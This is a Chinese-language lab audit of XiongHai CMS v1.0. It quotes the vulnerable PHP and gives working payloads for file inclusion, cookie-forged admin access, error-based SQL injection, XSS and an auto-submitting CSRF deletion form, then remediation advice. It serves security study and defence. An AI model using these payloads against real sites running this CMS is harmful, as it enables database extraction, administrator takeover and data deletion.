熊海cmsv1.0代码审计
字数 1750 2025-08-03 16:46:06
熊海CMS v1.0 代码审计报告
环境搭建
-
所需工具:
- 熊海CMS 1.0 (下载地址:http://js.down.chinaz.com/201503/xhcms_v1.0.rar)
- Seay代码审计工具
- PHPStudy (PHP版本不宜过高)
- Windows 7作为靶机
-
安装步骤:
- 解压CMS到web目录
- 手动创建数据库
- 访问安装页面:http://[靶机IP]/xhcms/install1
- 完成安装
漏洞分析
1. 文件包含漏洞
漏洞文件:
- /index.php
- /admin/index.php
漏洞代码:
$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');
利用方式:
- 包含files目录下的文件:
?r=phpinfo - 目录穿越包含根目录文件:
?r=../../test
2. 越权访问漏洞
漏洞文件:
- /inc/checklogin.php
漏洞代码:
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
影响范围:
- admin/files目录下除login.php和outlogin.php外的所有页面
利用方式:
- 使用普通用户登录获取cookie
- 修改cookie中user值为admin
- 访问后台管理页面
3. SQL注入漏洞
3.1 后台SQL注入
漏洞文件:
- /admin/files/login.php
- /admin/files/editcolumn.php
- /admin/files/editlink.php
- /admin/files/editsoft.php
- /admin/files/editwz.php
- /admin/files/wzlist.php
- /admin/files/softlist.php
典型漏洞代码:
$id=$_GET['id'];
$query = "SELECT * FROM nav WHERE id='$id'";
利用方式:
- 报错注入:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ - POST参数注入:
1' or updatexml(1,concat(0x7e,(select database())),0) or'
3.2 前台SQL注入
漏洞文件:
- /files/content.php
- /files/software.php
漏洞代码:
$id=addslashes($_GET['cid']);
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
利用方式:
- 直接注入:
?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
4. XSS漏洞
4.1 存储型XSS
漏洞文件:
- /admin/files/manageinfo.php
- /files/content.php
- /files/contact.php
漏洞代码:
$name=$_POST['name']; // 未过滤直接输出
echo $name;
利用方式:
- 提交恶意脚本:
<script>alert(1)</script> - 或:``
4.2 反射型XSS
漏洞文件:
- /files/contact.php
漏洞代码:
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
利用方式:
- 构造恶意URL:
?page=<script>alert(1)</script>
5. CSRF漏洞
漏洞文件:
- /admin/files/wzlist.php
- /admin/files/softlist.php
漏洞代码:
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
// 无token验证
}
利用方式:
- 构造恶意页面:
<form action="http://target/admin/?r=wzlist&delete=1" method="POST">
<input type="submit" value="点击有奖">
</form>
<script>document.forms[0].submit();</script>
- 诱骗管理员访问
漏洞修复建议
-
文件包含:
- 使用白名单限制包含文件
- 禁用动态包含
-
越权访问:
- 使用session而非cookie验证身份
- 增加权限验证机制
-
SQL注入:
- 使用预处理语句
- 对所有输入参数进行严格过滤
-
XSS:
- 输出时使用htmlspecialchars()或htmlentities()
- 设置Content-Security-Policy头
-
CSRF:
- 增加随机token验证
- 检查Referer头
审计总结
-
该CMS存在多处高危漏洞,包括但不限于:
- 文件包含
- 越权访问
- SQL注入
- XSS
- CSRF
-
漏洞主要成因:
- 输入未充分过滤
- 缺乏权限验证
- 使用不安全函数
-
建议:
- 开发者应全面重构安全机制
- 用户应立即停止使用该版本
- 升级到最新安全版本
参考链接
- https://xz.aliyun.com/t/7629
- https://blog.csdn.net/weixin_43872099/article/details/103001600